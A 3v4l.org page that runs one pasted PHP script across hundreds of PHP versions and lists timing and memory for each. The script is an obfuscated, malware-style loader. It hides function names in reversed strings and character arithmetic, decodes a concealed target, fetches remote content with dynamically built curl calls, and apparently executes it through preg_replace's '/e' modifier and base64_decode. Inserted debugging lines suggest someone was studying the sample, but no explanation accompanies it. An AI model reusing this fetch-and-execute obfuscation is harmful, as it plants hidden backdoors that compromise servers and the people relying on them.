3v4l.org

run code in 300+ PHP versions simultaneously
<?php $vars = array( '28', 'chr', //1 -- x + 3 'curl', 'init', 'setopt', 'exec', // 5 'close', 'strtoupper', 'strrev', 'opt', 'timeout', 'refsnartnruter', '_', 'preg_replace', 'preg_split', 'base64_decode', "/mix../mixe", //16 ? '/mixed', "array_map", // 'implode', //19 3, 5, 7, 11, 13, 17, 19, 23, 'array_push' ); function xvars($n) { global $vars; $n+= 19; return ($n > 19) ? chr($n) : ''; } $x = array( '(( $vars[15] = $vars[ $vars[0] ]( $vars[15]( strrev( implode( array_map("xvars", preg_split( "/[\D]+/", preg_replace( "/vars/", "+", ${$vars[5][1]}[ $vars[22] -1 ] .${$vars[5][1]}[ $vars[22] +0 ] .${$vars[5][1]}[ $vars[22] +1 ] )) ) ) ) ) ))?0:0 )', '(( $vars[ $vars[0]-- ]( $vars[15],CURLOPT_TIMEOUT , 32 ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15],CURLOPT_RETURNTRANSFER , 1 ))?0:0)', '(( $zvars = $vars[ $vars[0] ]( $vars[15] ))?0:0)', '(( $vars[ $vars[0] ]( $vars[15] ))?0:0)', '.strtoupper($vars[0]);', '->$vars[100]($vars[85].$vars[52]($vars[80]($vars[38].$vars[66]($vars[52],$vars[80]($vars[34]($vars[63]($vars[91]($vars[55].$vars[97],$vars[38])$vars[31],$vars[70]($vars[98]($vars[54])$vars[32].$vars[79].$vars[86],$vars[51]($vars[90])$vars[78].$vars[102]($vars[51].$vars[68].$vars[61].$vars[98]($vars[89]())', '(($vars[68].$vars[70]($vars[97]($vars[38].$vars[52])$vars[71]($vars[28])$vars[46])$vars[53])$vars[78].$vars[100],$vars[34]($vars[64],$vars[71].$vars[29])$vars[51].$vars[90].$vars[80]($vars[89],$vars[34]($vars[68].$vars[71].$vars[91]($vars[38].$vars[86])$vars[80].$vars[89])$vars[30],$vars[68],))', '(($vars[70])$vars[102])$vars[71])$vars[68],$vars[78])$vars[99].$vars[96])$vars[52].$vars[81].$vars[98],$vars[100]($vars[52],$vars[79],$vars[96]($vars[89])$vars[52].$vars[79])$vars[96])$vars[101].$vars[31].$vars[57]($vars[99].$vars[92]($vars[49]($vars[80]($vars[29],$vars[63])$vars[53]($vars[78]()' ); $i = $q = 0; while ($i < 5) { ($i != 2) ? ($vars[$vars[0] - $q]($vars, "curl_" . $vars[3 + $q]) && $q++) : 0; //step 0,1,3,4 $vars[0]++; var_dump($vars); die(); preg_replace("/mix../mix", ${$vars[16][3]}[0 + $i] . $x[5], "/mixed"); $i++;; } echo ($zvars); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.23
8.3.50.0140.00318.30
8.3.40.0130.00618.79
8.3.30.0140.00719.08
8.3.20.0040.00420.33
8.3.10.0000.00823.52
8.3.00.0080.00018.98
8.2.180.0110.00718.29
8.2.170.0120.00322.96
8.2.160.0110.00422.30
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0070.00026.16
8.2.120.0000.00821.12
8.2.110.0030.00622.07
8.2.100.0040.00817.97
8.2.90.0000.00917.88
8.2.80.0040.00418.91
8.2.70.0080.00018.05
8.2.60.0000.00918.16
8.2.50.0040.00418.10
8.2.40.0030.00919.28
8.2.30.0040.00419.25
8.2.20.0040.00417.73
8.2.10.0040.00418.01
8.2.00.0060.00317.88
8.1.270.0040.00419.01
8.1.260.0000.00826.35
8.1.250.0080.00028.09
8.1.240.0070.00324.03
8.1.230.0080.00320.84
8.1.220.0030.00617.74
8.1.210.0050.00318.77
8.1.200.0030.00917.35
8.1.190.0040.00417.35
8.1.180.0050.00218.97
8.1.170.0080.00018.62
8.1.160.0030.00419.03
8.1.150.0070.00018.80
8.1.140.0040.00417.45
8.1.130.0070.00017.74
8.1.120.0030.00417.50
8.1.110.0000.00817.35
8.1.100.0030.00317.43
8.1.90.0000.00717.36
8.1.80.0080.00017.41
8.1.70.0030.00317.32
8.1.60.0000.00817.59
8.1.50.0000.00817.42
8.1.40.0040.00417.58
8.1.30.0040.00417.61
8.1.20.0000.00717.54
8.1.10.0030.00617.58
8.1.00.0030.00517.51
8.0.300.0040.00418.77
8.0.290.0050.00316.88
8.0.280.0030.00318.38
8.0.270.0000.00717.18
8.0.260.0000.00717.14
8.0.250.0030.00317.03
8.0.240.0030.00316.99
8.0.230.0030.00317.03
8.0.220.0040.00416.93
8.0.210.0030.00517.00
8.0.200.0050.00316.95
8.0.190.0070.00016.96
8.0.180.0070.00016.96
8.0.170.0080.00016.93
8.0.160.0050.00316.87
8.0.150.0000.00716.88
8.0.140.0040.00416.83
8.0.130.0030.00313.38
8.0.120.0050.00316.94
8.0.110.0040.00416.89
8.0.100.0050.00316.87
8.0.90.0000.00716.99
8.0.80.0090.01216.93
8.0.70.0000.00716.96
8.0.60.0080.00016.99
8.0.50.0040.00416.83
8.0.30.0200.00717.13
8.0.20.0160.01017.40
8.0.10.0000.00717.02
8.0.00.0110.00716.68
7.4.330.0000.00515.15
7.4.320.0060.00016.52
7.4.300.0030.00316.41
7.4.290.0030.00516.59
7.4.280.0040.00416.64
7.4.270.0040.00416.63
7.4.260.0000.01116.52
7.4.250.0040.00416.47
7.4.240.0020.00516.61
7.4.230.0050.00216.56
7.4.220.0070.01116.61
7.4.210.0100.01016.62
7.4.200.0040.00416.61
7.4.150.0070.02017.40
7.4.140.0070.01117.86
7.4.130.0100.00916.56
7.4.120.0130.00616.55
7.4.110.0110.01416.61
7.4.100.0120.00616.59
7.4.90.0090.00916.66
7.4.80.0180.00619.39
7.4.70.0030.01416.63
7.4.60.0100.00616.52
7.4.50.0040.00416.59
7.4.40.0100.00716.35
7.4.30.0110.01416.49
7.4.00.0060.01014.99
7.3.330.0050.00013.39
7.3.320.0000.00513.42
7.3.310.0030.00316.54
7.3.300.0060.00016.36
7.3.290.0070.00916.43
7.3.280.0110.00816.42
7.3.270.0160.00317.40
7.3.260.0000.01716.48
7.3.250.0100.01016.65
7.3.240.0050.01116.41
7.3.230.0190.00516.63
7.3.210.0150.00916.56
7.3.200.0160.00319.39
7.3.190.0110.01116.70
7.3.180.0100.00716.65
7.3.170.0100.01116.49
7.3.160.0030.01316.40
7.3.120.0070.01114.92
7.3.110.0090.00914.82
7.3.100.0090.00614.95
7.3.90.0090.00614.70
7.3.80.0120.00315.11
7.3.70.0100.00314.90
7.3.60.0060.00914.91
7.3.50.0070.00714.82
7.3.40.0100.00714.79
7.3.30.0070.01014.90
7.3.20.0090.00616.74
7.3.10.0030.01416.80
7.3.00.0120.00016.64
7.2.330.0130.00616.83
7.2.320.0170.00716.66
7.2.310.0040.01616.53
7.2.300.0120.01216.54
7.2.290.0090.00916.82
7.2.250.0080.01215.29
7.2.240.0120.00315.22
7.2.230.0110.00715.14
7.2.220.0000.01214.84
7.2.210.0000.01415.05
7.2.200.0040.01215.03
7.2.190.0000.01415.16
7.2.180.0060.00614.87
7.2.170.0040.01115.16
7.2.80.0070.00716.44
7.2.60.0110.00416.75
7.2.00.0060.00619.54
7.1.330.0060.00915.92
7.1.320.0130.00315.97
7.1.310.0030.00915.92
7.1.300.0030.01015.70
7.1.290.0040.01115.52
7.1.280.0000.01415.74
7.1.270.0000.01316.05
7.1.260.0110.00415.90
7.1.200.0070.00415.86
7.1.100.0040.00717.98
7.1.70.0120.00317.22
7.1.60.0090.01619.22
7.1.50.0000.01417.05
7.1.00.0070.07022.44
7.0.200.0040.00416.89
7.0.140.0070.05322.07
7.0.60.0000.04319.93
7.0.50.0170.05017.91
7.0.40.0130.08320.16
7.0.30.0270.07020.24
7.0.20.0300.06020.23
7.0.10.0330.07320.23
7.0.00.0030.08720.06
5.6.280.0030.07321.14
5.6.210.0100.07720.56
5.6.200.0070.04018.15
5.6.190.0100.04320.58
5.6.180.4130.05020.50
5.6.170.0130.05320.47
5.6.160.0100.04020.47
5.6.150.0070.07718.21
5.6.140.0100.06718.25
5.6.130.0100.07718.14
5.6.120.0070.04021.00
5.6.110.0030.08720.90
5.6.100.0000.06021.06
5.6.90.0030.04321.02
5.6.80.0100.07020.45
5.6.70.0270.06020.50
5.5.350.0330.05720.32
5.5.340.0070.07718.05
5.5.330.0130.07720.47
5.5.320.0400.07020.32
5.5.310.0300.05320.34
5.5.300.0070.03718.08
5.5.290.0030.05718.01
5.5.280.0070.08020.91
5.5.270.0100.05020.98
5.5.260.0000.05320.85
5.5.250.0100.07720.47
5.5.240.0200.08320.25
5.4.450.0630.05719.34
5.4.440.0930.07019.34
5.4.430.0100.05319.64
5.4.420.0870.05019.54
5.4.410.0570.05719.35
5.4.400.0900.04719.12
5.4.390.0670.06319.02
5.4.380.0370.06318.66
5.4.370.0430.04018.50
5.4.360.0370.04318.67
5.4.350.0370.05018.79
5.4.340.0270.05318.46
5.4.320.0300.05018.72
5.4.310.0200.05718.70
5.4.300.0270.05018.65
5.4.290.0230.05318.73
5.4.280.0230.05718.74
5.4.270.0330.04718.78
5.4.260.0270.05318.77
5.4.250.0300.05318.60
5.4.240.0270.05718.57
5.4.230.0300.04718.55
5.4.220.0470.04718.62
5.4.210.0270.05718.70
5.4.200.0230.05016.66
5.4.190.0200.05318.54
5.4.180.0270.05018.68
5.4.170.0230.05318.60
5.4.160.0300.05318.66
5.4.150.0370.04018.59
5.4.140.0330.05716.26
5.4.130.0370.03716.21
5.4.120.0300.04716.44
5.4.110.0200.05316.28
5.4.100.0330.05716.25
5.4.90.0330.07016.21
5.4.80.0330.04716.28
5.4.70.0200.06016.25
5.4.60.0130.06016.28
5.4.50.0200.05716.28
5.4.40.0300.04716.16
5.4.30.0300.06316.29
5.4.20.0330.04716.18
5.4.10.0230.05016.41
5.4.00.0330.04015.76
5.3.290.0330.05714.86
5.3.280.0400.03714.74
5.3.270.0200.06714.68
5.3.260.0230.05714.75
5.3.250.0230.06014.60
5.3.240.0230.05314.72
5.3.230.0270.07014.75
5.3.220.0270.04714.72
5.3.210.0130.06014.64
5.3.200.0330.04714.79
5.3.190.0230.05314.75
5.3.180.0330.05014.63
5.3.170.0370.04714.62
5.3.160.0300.05014.69
5.3.150.0370.04714.68
5.3.140.0230.05314.78
5.3.130.0200.06314.59
5.3.120.0170.06314.80
5.3.110.0230.06014.60
5.3.100.0300.04714.18
5.3.90.0330.04314.13
5.3.80.0300.04714.23
5.3.70.0170.06014.14
5.3.60.0230.05014.04
5.3.50.0300.04314.00
5.3.40.0230.05014.01
5.3.30.0270.04714.13
5.3.20.0200.04713.83
5.3.10.0270.04313.85
5.3.00.0130.06013.78
5.2.170.0200.04311.22
5.2.160.0170.04311.18
5.2.150.0230.04711.19
5.2.140.0230.05011.27
5.2.130.0170.04311.15
5.2.120.0170.04311.14
5.2.110.0230.03711.16
5.2.100.0130.05011.34
5.2.90.0200.04011.25
5.2.80.0130.04711.16
5.2.70.0200.04011.32
5.2.60.0170.04011.14
5.2.50.0130.04311.16
5.2.40.0130.04311.04
5.2.30.0130.04710.93
5.2.20.0200.03711.04
5.2.10.0130.04310.98
5.2.00.0200.04010.84
5.1.60.0170.03310.04
5.1.50.0100.04010.20
5.1.40.0200.03710.03
5.1.30.0330.05010.45
5.1.20.0100.05010.59
5.1.10.0270.04310.13
5.1.00.0200.04010.11
5.0.50.0130.0308.59
5.0.40.0130.0408.56
5.0.30.0130.0578.36
5.0.20.0170.0378.25
5.0.10.0070.0338.19
5.0.00.0170.0408.37
4.4.90.0100.0236.52
4.4.80.0300.0336.52
4.4.70.0270.0176.52
4.4.60.0170.0236.52
4.4.50.0170.0176.52
4.4.40.0130.0436.52
4.4.30.0130.0306.52
4.4.20.0170.0136.52
4.4.10.0130.0206.52
4.4.00.0030.0406.52
4.3.110.0070.0276.52
4.3.100.0130.0236.52
4.3.90.0100.0236.52
4.3.80.0100.0376.52
4.3.70.0100.0306.52
4.3.60.0200.0206.52
4.3.50.0070.0276.52
4.3.40.0070.0406.52
4.3.30.0030.0236.52
4.3.20.0030.0236.52
4.3.10.0100.0176.52
4.3.00.0100.0237.34

preferences:
79.85 ms | 400 KiB | 5 Q